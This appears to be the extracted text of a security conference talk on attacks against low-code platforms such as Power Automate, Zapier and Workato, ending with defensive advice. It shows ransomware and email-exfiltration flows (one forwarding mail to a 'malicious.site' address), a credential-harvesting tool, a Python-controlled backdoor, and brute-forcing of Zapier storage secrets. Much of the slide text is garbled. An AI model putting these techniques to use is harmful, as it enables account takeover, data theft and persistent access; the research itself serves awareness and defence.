

PRESENTED BY: MICHAEL BARGURY (@mbrg0)

Credential Sharing as a Service: the Dark Side of No Code

github.com/mbrg/talks







About me

- OWASP LCNC Top 10 project lead
- CTO and co-founder @ Zenity
- Ex MSFT cloud security
- Dark Reading columnist







Disclaimer

This talk is presented from an attacker's perspective with the goal of raising awareness to the risks of underestimating the security impact of Low Code. Low Code is awesome.



Outline

- Low Code in a nutshell
- Low Code attacks observed in the wild
 - Living off the land account takeover, lateral movement, PrivEsc, data exfil
 - Hiding in plane sight
 - Leveraging predictable misconfigs from the outside
- How to defend
- The latest addition to your red team arsenal



Low-Code/No-Code in a Nutshell

github.com/mbrg/talks





Exponential Growth in Business Development

No. Apps 80K Thousands 74K 60K 40K 37K 20K 9K Κ 2018 2019 2020 2021 2022



NEXT QUARTER NEXT YEAR

Why Low Code?



If this sounds familiar, its because it is



Tech evolution



Save Gmail attachments to your Google Drive • Ran at 6/25/2022 2:11:21 PM

Build everything

- If this than that automation
- Integrations
- Business apps
- Whole products
- Mobile apps





Available in every major enterprise







Recap

✓ Available on every major enterprise
 ✓ Has access to business data and powers business processes
 ✓ Runs as SaaS (difficult to monitor)
 ✓ Underrated by IT/Sec



Low Code Attacks In The Wild: Living off the land

github.com/mbrg/talks







youtu.be/5naPxs0fEJc



🙀 Zapier is requesting permission to access the pwntoso Slack workspace | pwntoso Slack - Brave pwntoso.slack.com/oauth?client_id=2165348927.2161329837&scope=channels

Step by step

Add a new app connection Add a new app connection S stack S sta					💤 slack	pwntoso 🗸
Add a new app connection Add a new app connection I de a new app connect		×		ps		
Slack Ada new app connection Book Book Dislack Ada new app connection Add new app connection Add new app connection Add new app connection Add new app connection Book Book <th>Add a new app connection</th> <th></th> <th></th> <th>r apps ared with me</th> <th>☆ ⇒</th> <th></th>	Add a new app connection			r apps ared with me	☆ ⇒	
i New connection added My connections 1	Slack Forms for Slack Dislack			Add a new app connection Add a new app connection Slack Slack Forms for Slack Dislack	Zapier is requesting permis pwntoso Slack wo What will Zapier be able to view? Content and info about you Content and info about you Content and info about you workspa Content and info about your workspa What will Zapier be able to do? Perform actions as you Perform actions in channels & convert	sision to access the prkspace
My connections 1	New connection added		×		Perform actions in your workspace Cancel All	ow
Slack @michaelbargury (pwptoso)	My connections					*



Behind the scenes





How does the app authenticate to slack?

How do different users get authenticated by the same app?







Ready, set, AUTOMATE!

Premium

 \rightarrow

Add new Facebook Lead Ads leads to rows on Google Sheets

A

Send myself a reminder in 10 minutes

By Microsoft

Instant 460902



Add SQL Server rows with new caught webhooks

fi f 🖽

Automated 214763

Send an email to responder when response submitted in Microsoft Forms

By Microsoft Power Automate Community

Webhooks by Zapier + SQL Server

_	
_	_
	-

🖬 💫

Add info to a Google Sheet from new Webhook POST requests

Webhooks by



Save Gmail attachments to your Google Drive

By Microsoft

Automated 32731

4

Save Outlook.com email attachments to your OneDrive

By Microsoft Power Automate Community

Automated 168098



1		PSP2022 L DURUN	ø	ystage.com	1	mo 300		
(7	Connectio	ons in Zenity Stage (default)		Microsoft Dataverse (legacy)	Û	ty.io Azure Key Vault	 1 d ago	ether to stop 9 OWASP Top
V			<u>ā</u>	Bitbucket Bitbucket (preview)	٠	MSN Weather	 5 mo ago	10
		Name		ystage.com Azure Resource Manager	¢₹	tage.com	 1 h ago	
	()	Zenity Zenity	(ystage.com Office 365 Management API	-	Office 365 Outlook	 5 d ago	
	\oplus	{BaseResourceUrl} HTTP with Azure AD		ConnectionToFadiStorageAccount Azure Blob Storage		Office 365 Users	- a ago	
	u ja	stage.com		ure-sql-server.database.wind	25		 9 mo ago	
					虁	Outlook.com	 57 min ago	
	9	SQL Server		ystage.com Azure Blob Storage	2	RSS RSS	 4 mo ago	
	9	stage.com SQL Server	ø	ystage.com Microsoft Dataverse	÷	tage.com Salesforce	 2 wk ago	
		stage.com SQL Server	с	Connective eSignatures Connective eSignatures (preview)		Mail Mail	 9 mo ago	
	¥p.	stage.com SharePoint	с	Connective eSignatures Connective eSignatures (preview)	ß	Mail Mail	 7 mo ago	
	G	stage.com Power Platform for Admins	58	23 DB2	U	aviv-demo-2 ServiceNow	 8 mo ago	
	G	stage.com Power Platform for Admins	÷	h@gmail.com Dropbox	U	Aviv-Demo ServiceNow	 9 mo ago	
	⊗,	stage.com Power Apps for Makers	8	File System File System	U	Aviv-Demo ServiceNow	 8 mo ago	
	(%)	stage.com Power Apps for Admins	Q	Notifications Notifications	₽	SFTP SFTP	 9 mo ago	
	臣	stage.com Planner	P	Vendor Server FTP	₽	SFTP - SSH SFTP - SSH	 8 mo ago	
	Q (stage.com OneNote (Business)	\$	FTP FTP	\$p	tage.com SharePoint	 3 h ago	



Credential Sharing as a Service

	Power Automate	Search for helpful resources	Environments Zenity Stage (defaul	Z ASSETS	1186	Assets		Create connection 🗸 🗸
≡		+ New connection	م		11	Q Search assets Asset: Connection	s × Status: Connected ×	Sort by: Name (A
ŵ	Home	Connections in Zenity Stage (default)		du + Connections	173	* =	Connected	4
Ĉ	Action items $\qquad \lor$			Connected Trash	1	C Management	969 42 dt 1247 am	Recipes
o/ ^a	My flows	News	Medified	PROJECTS	+	+	Connected	0
+	Create	Name	Modified	 Home assets Env-Demo 		S Env-Dev	- EU O GL LAL BIT	reupes
යට	Templates	ConnectionToFadiStorageAccount Azure Blob Storage	••• 10 mo ago	Env-Dev Env-Playground		+	Connected	
\$ ⁰	Connectors	SQL Server azure-sql-server.database.wind	••• 8 mo ago	S Env-Prod ► S Env-Stage		dev_HTTP account	Feb 6 at 1:21 am	Recipes
٥	Data 🗸	tage.com	11 mo ago	 Eoad test Management 		★ ✓ dev twitter	Connected Feb 10 at 1-40 am	1 Recipe
	Monitor ~	Azure Blob Storage	TT no ago	► 🕏 Workspace		© Env-Dev		
CD	Al Builder 🗸 🗸 🗸	Microsoft Dataverse	zapier			FTP at test.rebex.net	Connected Apr 9, 2021, at 7:05 am	932 Recipes
() () ()	Process advisor	Connective eSignatures Connective eSignatures (preview)		<u>a</u>		C Workspace / test export		
	Solutions	Connective eSignatures Connective eSignatures (preview)	+ Apps	© 0-		Pgmail.com gmail	Connected Apr 9, 2021, at 5:05 am	1 Recipe
		37 23 DB2	My apps	N 6	Gmail	>		
		File System	Shared with me	2 Conne	ections	,		
		File System	Custom integrations	5 Zaps				
		O Notifications Notifications	₹					
		Vendor Server FTP	r Server	1 Connec	Google Sheets	>		
		FTP FTP	0	2 Zaps				
		a2g@gmail.com	···· 1 wk ago	Connected				



Credential Sharing as a Service

	Power Automate	∠ Search for helpful resources	Environments Zenity Stage (defaul	ASSETS 1186	Assets			Create connection V
=		+ New connection				Asset: Connections × Status: Connected ×		Sort by: Name (A \rightarrow Z) \sim
ώ	Home	Connections in Zenity Stage (default)					Connected	4 8
Ĉ	Action items $\qquad \lor$						тоу жалан ол	neupes
۰⁄۵	My flows	Name			nt		Connected Feb 6 at 1:21 am	0 Recipes
+	Create							
දුව	Templates	Connection localistorageAccount Azure Blob Storage					Connected Feb 6 at 1:21 am	0 Becines
Ra	Connectors	SQL Server azure-sql-server.database.win						
٥	Data 🗸	(1) stage.com					Connected Feb 10 at 1:40 am	1 Recipe
	Monitor \checkmark	Azure Blob Storage						
Ø	Al Builder \checkmark	Stage.com Microsoft Dataverse			.net		Connected Apr 9, 2021, at 7:05 am	932 Recipes
() ()	Process advisor	Connective eSignatures Connective eSignatures (preview)			export			
	Solutions	Connective eSignatures	+ Apps		≁ M		Connected Apr 9, 2021, at 5:05 am	1 Recipe
	Learn	Connective eSignatures (preview)			@ Workspace			
		23 DB2	My apps	Gmail		>		
		File System	Shared with me	2 Connections				
		Notifications	Custom integrations	5 Zaps				
		Notifications	₹					
		Vendor Server FTP	=	1 Connection		Ć		
		PTP	0	2 Zaps				•
						Pri Pri	vilege escalat	ION
		Gmail	••• 1 wk ago Connecte	ed				



Ransomware thru action connections

SharePoint Ransomware	🏷 Undo 🦿 Redo 🏳 Comment	s 🔚 Save 😵 Flow checker 👗
Manually trigger a flow		····
List folder		····
Apply to each file		
Select an output from previous steps Body x		
Get file content	1	····
_	\downarrow	
Encrypt data with key		····
	\checkmark	
Update file		····
=	Add an action	

	Choose	an operatio	n				×
← þe	arch con	nectors and a	ctions				
All	Built-	in Stand	lard Prer	mium Cu	istom My	y clipboard	
Ŕ		*		B	Û	E	•
Excel (Bus	Online iiness)	MSN Weather	Mail	Microsoft Teams	Notifications	Office 365 Outlook	
¢	8	田	5	\bigcirc	act	<u>a</u>	
OneD Bus	rive for iness	Planner	SharePoint	10to8 Appointme	Act!	Ahead	
App	af	Asapa			Basecamp 2	Ping Search	
Appi		Asalia	Azure AD	Cognitive			
В	itly	Blogger	Box	Buffer	Campfire	Cognito	
	\bigcirc		0	\odot	**		
Com Visio	nputer on API	Content Conversion	Content Moderator	Custom Vision	Dropbox	Elastic Forms	
		×	æ	:	ā	\bigcirc	
Enc	odian	Excel Online (OneDrive)	FTP	Face API	File System	Freshdesk	•

Ransomware



When a new e	mail arrives (V3)	,
Folder	Inbox	1
Show advanced options	~	
Send an email	notification (V3)	
*То	finance.external@malicious.site	
* Subject	Finance email notification	
*Body	Font \bullet 12 \bullet B $I \ \ P \ \ E \ \ E \ \ E \ \ e \ \ e \ \ e \ \ $	
	From: Image: Tom the second secon	
Show advanced options	~	
Delete email ((?)	,
* Message Id	et Message Id 🗙	
Original Mailbox Address	finance@company.site	

Exfiltrate email thru the platform's email account





Move to machine

Machines

Check the real-time health and status of your machines and the desktop flows running on them. Learn more

Machines Machine groups VM images (preview) Gateways

	Machine name \uparrow \checkmark		Description \vee	Version	Group \vee	Status	Flows run	Flows que	Ac \vee	Owner
	myrpa		_	2.17.169.22042	_	Connected	0	0	Owner	Kris S
	myrpa		_	2.17.169.22042	MyGroup	Connected	0	_	Owner	Kris S
0	win11	÷	_	2.14.173.21294	_	Connected	0	0	Owner	Kris S

Desktop flows	() ×
Search connectors and actions	
Triggers Actions	See more
Run a flow built with Power Automate for desktop PREMIUM Desktop flows	()
Run a flow built with Selenium IDE PREMIUM Desktop flows	0

	V			_			
Run a flow buil	t with Power Automate for desktop		?				
* Desktop flow	Dummy	\sim	Edit				
* Run Mode	Choose between running while signed in (attended) or in the background 🗸						
Show advanced options	Attended (runs when you're signed in)						
	Unattended (runs on a machine th						
	Enter custom value	Lateral	movei	mei			



Introducing ZapCreds

					zapcredse	email John.Webb@mycompany.compassword passw	word -out found_creds.csv	
account_name	app_name	app_icon	connection_created	connection_titl	Python			
Marketing	Dropbox	¥	2021-06- 06T10:54:52Z	Dropbox johnw@gmail.c	import reque	ests Is.harvest import authenticate_session, get_cr	redentials	
Marketing	Gmail		2021-06- 06T10:00:14Z	Gmail Bobby.Atkinson@mycon	session = re authenticate creds = get_	equests.Session() e_session(session, "John.Webb@mycompany.com", _credentials(session)	"password")	
Marketing	Gmail		2021-06- 06T07:53:42Z	Gmail Lola.Burton@mycompar	<pre>print(creds. # Index(['ad</pre>	. columns) ccount_name', 'account_owner', 'app_name', 'ap		'connectio
Marketing	Google Calendar	31	2022-01- 25T21:08:48Z	Google Calendar johnw@gmail.com	4	John.Webb@mycompany.co		
Marketing	Google Drive		2022-01- 26T11:10:41Z	Google Drive Bobby.Atkinson@mycomp	pany.com	Bobby.Atkinson@mycompany.con		
SalesOps	Google Sheets		2022-02- 20T09:20:15Z	Google Sheets Sariah.Cote@mycompany	.com	Sariah.Cote@mycompany.com		
SalesOps	OneNote		2022-03- 03T09:18:36Z	OneNote gibsonm@outlo #2	ook.com Mia.Gibson@mycompany.com			
•								

Command line

github.com/mbrg/zapcreds





Can we fool users to create connections for us?

- Set up a bait app that does something useful
- Generate connections on-the-fly
- Fool users to use it
- Pwn their connection (i.e. account)







youtu.be/vJZpNJRC_10



Can we get rid of this pesky approve window?

Almost Out of Offi the permis	there ce_1526 needs your permission t sions to proceed.	o use the followir	ng. Please allow
	Office 365 Outlook owner@zenitystage.com Signed in <u>View permissions</u>		Switch account
1	Office 365 Users owner@zenitystage.com Signed in <u>View permissions</u>		Switch account
		Allow	Don't Allow



Can we get rid of this pesky approve window?

Almost there Out of Office_1526 needs your permission to use the following. Please allow the permissions to proceed.	
Office 365 Outlook owner@zenitystage.com Switch account Signed in <u>View permissions</u>	
Office 365 Users owner@zenitystage.com Signed in <u>View permissions</u>	
Allow Don't Allow	



https://docs.microsoft.com/en-us/powershell/module/microsoft.powerapps.administration.powershell/set-adminpowerappapistobypassconsent



Low Code Attacks In The Wild: Can I stay here forever?

github.com/mbrg/talks





This has been done before



zenity.io/blog/hackers-abuse-low-code-platforms-and-turn-them-against-their-owners/



Dump files and tweet about it on a schedule

-	Leak SharePoint	🏷 Undo	🦿 Redo	Comments	层 Save	🕑 Flow che	ecker	占 Tes
	7 Recurrence							
				\downarrow				
	List folder					0		
				\downarrow				
	Apply to each f	ile						
	*Select an output from pr	revious steps						
	Get file cont	ent		I		0		
	_			\downarrow				
	Encrypt data	with key				0		
				\downarrow				
	Dump it					0		
				\downarrow				
	Tweet about	it						
			J Ad	d an action				



Encrypt on command





Persistency

What do we want?

□ Remote execution

- □ Arbitrary payloads
- □ Maintain access (even if user account access get revokes)
- □ Avoid detection
- □ Avoid attribution
- No logs



Persistency v1

Persistency





Persistency vl



What do we want?



Persistency v1



What do we want?

☑ Remote execution☑ Arbitrary payloads



Persistency v1



What do we want?

Remote execution
 Arbitrary payloads
 Maintain access



Persistency v1

TRIGGER			
1 Rans	Workato we	bhook address	🛛 Сору
	https://w b9afed-d	Somebody	alse's cloud
		Johnebody e	
3 FOR EACH it	em in 🝐 Files Step 2 o	10	
4	ownload file contents from	I Google Drive	
5 D	elete a file from Google Dri	ve	
6 🔄 🛃 E	ncrypt data		
7 🚺 🚺 U	Jpload small file to Google I	Drive	
End			

What do we want?

Remote execution
 Arbitrary payloads
 Maintain access
 Avoid detection



Persistency v1



What do we want?

✓ Remote execution
 ☑ Arbitrary payloads
 ☑ Maintain access
 ☑ Avoid detection
 ☑ Avoid attribution



1	TRIGGER	P webhook Real-time	
	ACTIONS	Workato webhook ad	ddress
2	Searc	https://w b9afed-d	
C Re	epeat job Q Search	jobs	All job statuses 👻 All job types 👻 All periods 👻
	Time (PDT)	Description	ion
	3:17:45 pm, Jul 6		
	5:56:47 am, Jul 6		
	9:04:35 am, Jul 5		
	9:53:12 pm, Jul 2		
	4:22:37 pm, Jul 2		

What do we want?

☑ Remote execution
 ☑ Arbitrary payloads
 ☑ Maintain access
 ☑ Avoid detection
 ☑ Avoid attribution
 ☑ No logs

10000 (1000)	1100	 1.0			1			2				3			1	5			 2	2		1	5			1
			7																							
										~																
7			<u></u>	U	pl	oa	d s	m	all	tile	e to	0 (00	ogl	el	Jri	ve									
		1.1																								
	2 5 2 3																									
	V																									
	End																									
	End																									













Solving persistency

Our current state:

✓ Remote execution
 ➢ Arbitrary payloads
 ✓ Maintain access
 ✓ Avoid detection
 ✓ Avoid attribution
 ☑ No logs



Executing arbitrary commands

Power Automate Management

Power Automate Management connector enables interaction with Power Automate Management service. For example: creating, editing, and updating flows. Administrators who want to perform operations with admin privileges should call actions with the 'as Admin' suffix.

🛄 See documentation



∑₀

https://docs.microsoft.com/en-us/connectors/flowmanagement/



Introducing Powerful!



github.com/mbrg/powerful





 Flow factory 		🏷 Undo 🦿 Redo 📮 Comments 🔚 Save 😵 Flow checker 📕
	. When a HTTP request is received	◎ ᅀ …
	$ \downarrow $	
	{x} Initialize responseBody	· · · ·
	Switch	
	*On 🕒 Commands Act 🗙	
	Check constantion	
	Case createnow	
	createFlow	
	Create Flow	◎ 合 …
	*Environment	×
	* Flow Display Name Commands Inp ×	
	*Flow Definition Commands Inp ×	
	Provi State	×
	connectionReferences	
	{x} Set response to flowId	· · · ·
	↓	⊙ ↓
Decess Success	⑦ 合 ···· ⊕ Failed	◎ 🔒 …
* Status Code 200	*Status Code	500
Headers action	Commands Act × 🕮 Headers	action Commands Act 🗴 🕮



Create a flow

Case createFlow				
*Equals createFlow				
Create Flow		0	A	
*Environment	Que Commands Inp ×		>	<
*Flow Display Name	Ge Commands Inp ×			
* Flow Definition	Generation Commands Inp ×			
*Flow State	Commands Inp 🗙		>	<
connectionReferences	Gene Commands Inp 🗙			<u>ش</u>
	(+) •			
$\{x\}$ Set response to	flowld		0	
	Add an action			

List authenticated sessions to use



Delete a flow

Case deleteFlow		
* Equals deleteFlow		
Delete Flow		◎ 合 …
* Environment	🗣 Commands Inp 🗙	×
* Flow	🖳 Commands Inp 🗙	×



Flow factory		🏷 Undo 🦿 Redo 💭 Comments 🗟 Save 😲 Flow checker 👗 Test
	When a HTTP request is received ⑦ △ ···· {x} Initialize responseBody ⑦ ····	
Scope	\checkmark	
	*On Switch	
Case createFlow ····	Case deleteFlow ····	Case getConnections +
* Equals createFlow	* Equals deleteFlow	*Equals getConnections
Create Flow (2) A ····	Delete Flow (2) 🛆 …	List My Connections (2)
* Environment Commands Inp x	*Environment Commands Inp × ×	* Environment Commands Inp × ×
* Flow Display Name 🕒 Commands Inp 🗙	*Flow Commands Inp × ×	
Flow Detriction Commands Inp × Flow State Commands Inp ×	→ Add an action	$\{x\}$ Set response to connections list \odot ····
connectionReferences		Add an action
$\left\{ x \right\}$ Set response to flow/d \textcircled{O}		
\checkmark		



```
from explore.flow factory.client import EXAMPLE, FlowFactory
WEBHOOK = "https://logic.azure.com:443/workflows/<workflow id>/triggers/manual/paths/invoke?api-version=2016-06-01&sig=<sig>"
factory = FlowFactory(webhook=WEBHOOK)
# find authenticated sessions to leverage
connections = factory.get connections(environment id=EXAMPLE["environment"])
flow = factory.create flow(
    environment_id=EXAMPLE["environment"],
    flow display name=EXAMPLE["flowDisplayName"],
    flow state=EXAMPLE["flowState"],
    flow definition=EXAMPLE["flowDefinition"],
    connection references=EXAMPLE["connectionReferences"],
factory.run flow(environment id=EXAMPLE["environment"], flow id=flow["name"])
factory.delete_flow(environment_id=EXAMPLE["environment"], flow_id=flow["name"])
```

github.com/mbrg/powerful



Powerful (persistency v3)

	-		-	-	
Flow factory			Undo (* Redo (L) Comments	Save Vy Flow checker	A
	. When a HTTP request is received	◎ 合 …			
	{x} Initialize responseBody	····			
Scope					
	Switch				
	*On Commands Act ×				
Case createFlow	··· Case deleteFlow	· · · Case getConnections		(÷
* Fouals	* Equals	* Equals			
createFlow	deleteFlow	getConnections]		
Create Flow 💿 🔒 ·	Delete Flow	③ A ··· Solution	5	◎ A …	
*Environment Commands Inp., x ×	*Environment Commands Inp x	× *Environment	Commands Inp ×	×	
* Flow Display Name Commands Inp ×	*Flow Commands Inp ×	×			
* Flow Definition Commands Inp., ×		{x} Set response to co	nnections list	····	
* Flow State X			B		
connectionReferences Commands Inp x			Add an action		
		0			
		(D) Failed	• @ A		

- 1. Set up your flow factory
- 2. Control it though API and a Python CLI

github.com/mbrg/powerful

What do we want?

✓ Remote execution
✓ Arbitrary payloads
✓ Maintain access
✓ Avoid detection
✓ Avoid attribution
✓ No logs



Low Code Attacks In The Wild: Outside Looking In

github.com/mbrg/talks





Power Portals/Pages?



The low code platform that spans Microsoft 365, Azure, Dynamics 365, and standalone apps.





Create an engaging headline, welcome, or call to action

Add a call to action here





What's ODATA and why should we care

"An open protocol to allow the creation and consumption of queryable and interoperable RESTful APIs in a simple and standard way."

Power portals can be configured to provide access to SQL tables through ODATA using a specific URL:

portal.powerappsportals.com/_odata



What's ODATA and why should we care

"An open protocol to allow the creation and consumption of queryable and interoperable RESTful APIs in a simple and standard way."

Power portals can be configured to provide access to SQL tables through ODATA using a specific URL:

portal.powerappsportals.com/_odata



By Design: How Default Permissions on Microsoft Power Apps Exposed Millions

> UpGuard Team Published Aug 23, 2021

zenity.io/blog/the-microsoft-power-apps-portal-data-leak-revisited-are-you-safe-now/





The fun begins

Goal: find misconfigured portals that expose sensitive data w/o auth.

Real world example:



Nothing to see here

/_odata/globalvariables:

- J	
"."scs_purpose":"This variable sto	ores OAuth Token to access Azure



Can we scale it?

Recall the portal url:

zenzen123.powerappsportals.com



Can we scale it?

Recall the portal url:

zenzen123.powerappsportals.com

Let's use **Bing!**

Microsoft Bing	site:p	site:powerappsportals.com				
	ALL	WORK	IMAGES	VIDEOS	MAPS	
	57,200	Results				

zenity.io/blog/the-microsoft-power-apps-portal-data-leak-revisited-are-you-safe-now/



ODATA leak - what we found

- Vulnerability disclosures are in progress
- Found
 - PII emails, names, calendar events
 - Secrets API keys, authentication tokens
 - Business data sales accounts, business contacts, vendor lists

zenity.io/blog/the-microsoft-power-apps-portal-data-leak-revisited-are-you-safe-now/



Can we find more exposed data?



	Cance





Can we find more exposed data?



Store data from code steps with StoreClient

Last updated: July 23, 2020

The StoreClient is a built-in utility available in both **<u>Python</u>** and **<u>JavaScript</u>** code steps that lets you store and retrieve data between Zaps or between runs of the same Zap.

Limitations

- Any JSON serializable value can be saved.
- The secret should use UUID4 format.
- Every key must be less than 32 characters in length.
- Every value must be less than 2500 bytes.
- Only 500 keys may be saved per secret.
- Keys will expire if you do not touch them in 3 months.

Secrets are secured by a random GUID



Storage by Zapier API

"where am i?": "you are at store.zapier.com",

"what is it?": [

"store.zapier.com is a simple storage REST API that "might use to stash a bit of state. we use it to pow "`StoreClient` in our Code steps of Zapier - you car "more docs at https://zapier.com/help/code-python/ c "https://zapier.com/help/code/."

". "

"-----

],

],

"what can it do?": [

"only one endpoint - GET & POST to read and write, F "store any value that is JSON serializable",

"BYOS (bring your own secrets) for authentication"

```
how does it work?": {
 "always provide either `?secret=12345` or `X-Secret: 12345`": "",
 "GET /api/records": [
   "will return a full object of all values stored by default.",
   "you can also specify only the keys you want via the",
   "querystring like`?key=color&key=age`."
 "POST /api/records": [
   "provide a body with a json object with keys/values you want",
   "to store like `{\"color\": \"blue\", \"age\": 29}`."
 ],
 "DELETE /api/records": [
   "completely clear all the records in this account"
 ],
 "PATCH /api/records": [
   "A data with a particular schema needs to be received.",
   "The schema specifies which action to do and with what parameters.",
   "For example {\"action\": \"increment_by\", \"data\": {\"key\": \"<key
   "The following actions are currently supported:",
   "increment by",
   "set value_if",
   "remove_child_value",
   "set child value",
   "list push",
   "list_pop"
 "For more about information about Storage by Zapier actions check out our
```



Storage by Zapier API

"where am i?": "you are at store.zapier.com",

"what is it?": [

"store.zapier.com is a simple storage REST API that "might use to stash a bit of state. we use it to pow "`StoreClient` in our Code steps of Zapier - you car "more docs at https://zapier.com/help/code-python/ c "https://zapier.com/help/code/."

],

],

"what can it do?": [

"only one endpoint - GET & POST to read and write, F "store any value that is JSON serializable",

", "

"BYOS (bring your own secrets) for authentication"

```
·_____", "______", "______", "______", "______", "______", "______", "______", "______", "______", "______", "______", "______", "______", "______", "______", "______", "______", "______", "______", "______", "______", "_____", "_____", "_____", "_____", "_____", "_____", "_____", "_____", "____", "____", "____", "____", "____", "____", "____", "____", "___", "___", "___", "___", "___", "___", "___", "___", "___", "___", "___", "__", "__", "__", "__", "__", "__", "__", "__", "__", "__", "__", "__", "__", "__", "__", "__", "__", "_", "_", "_", "_", "_", "_", "_", "_", "_", "_", "_", "_", "_", "_", "_", "_", "_", "_", "_", "_", "_", "_", "_", "_", "_", "_", "_", "_", "
how does it work?": {
  "always provide either `?secret=12345` or `X-Secret: 12345`": "",
  "GET /api/records": [
     "will return a full object of all values stored by default.",
      "you can also specify only the keys you want via the",
      "querystring like`?key=color&key=age`."
  "POST /api/records": [
      "provide a body with a json object with keys/values you want",
     "to store like `{\"color\": \"blue\", \"age\": 29}`."
  "DELETE /api/records": [
      "completely clear all the records in this account"
  ],
  "PATCH /api/records": [
     "A data with a particular scheme received "
                                                                                                      barameters.",
     "The schema
                                                                                                       \"key\": \"<key
     "For example
                                     '12345' is not a
     "The followi
     "increment b
     "set value i
                                                     GUID...
     "remove chil
     "set child v
     "list push",
     "list_pop"
```

"For more about information about Storage by Zapier actions check out our



Let's see what happens..



https://store.zapier.com/api/records?secret=

{"error": "Secrets must be valid UUID4s."}



400\$ bounty

Let's see what happens.. profit!

10177 lines (10177 sloc)	https://store.zapier.com/api/records?secret=
1 aaliyah	
2 aaren	
3 aarika	
4 aaron	{"error": "Secrets must be valid UUID4s."}
5 aartjan	
6 aarushi	
7 abagael	
8 abagail	("[": "", "2": "", "3": "eyJ0 ra", "4": "", "Number": "APTkey")
9 abahri	
10 abbas	(Ubitasinusdus UAI 100 Udadunalus United dans United to an United timis at issues (U0001 OF 000)
11 abbe	{"bitcoinusa": "419", "deaupe": "a.com", "postlinjection": "2021-05-02"}
12 abbey	
13 <mark>abbi</mark>	$b \pm \pm n a \cdot (/ $
14 abbie	nups://zoom.us/j/94?pwd=
15 abby	
16 abbye	{"YTAuth": "perm:r.com r"
17 abdalla	
18 abdallah	
19 abdul	A sub-selection ADI base exectly also as a second a sub-
20 abdullah	
21 abe	ruth tokens, Ar rikeys, emans, phone no., crypto wanet ibs.

zenity.io/blog/zapier-storage-exposes-sensitive-customer-data-due-to-poor-user-choices/



Summary

- Low Code is
 - Huge in the enterprise
 - Underrated by security teams
- Attackers are taking advantage of it by
 - Living off the land account takeover, lateral movement, PrivEsc, data exfil
 - Hiding in plane sight
 - Leveraging predictable misconfigs from the outside
- The latest addition to your red team arsenal
 - ZapCreds identify overshared creds
 - Powerful install a low code backdoor
- How to defend your org



How To Stay Safe

github.com/mbrg/talks







Do these 4 things to reduce your risk

- 1. Review configuration
 - Bypass consent flag (Microsoft)
 - Limit connector usage
- 2. Review and monitor access for external-facing endpoints
 - Webhooks
 - ODATA (Microsoft)
 - Storage (Zapier)
- 3. Review connections shared across the entire organization
- 4. Leverage the <u>OWASP LCNC Top 10</u>



PRESENTED BY: MICHAEL BARGURY (@mbrg0)

Credential Sharing as a Service: the Dark Side of No Code

github.com/mbrg/talks

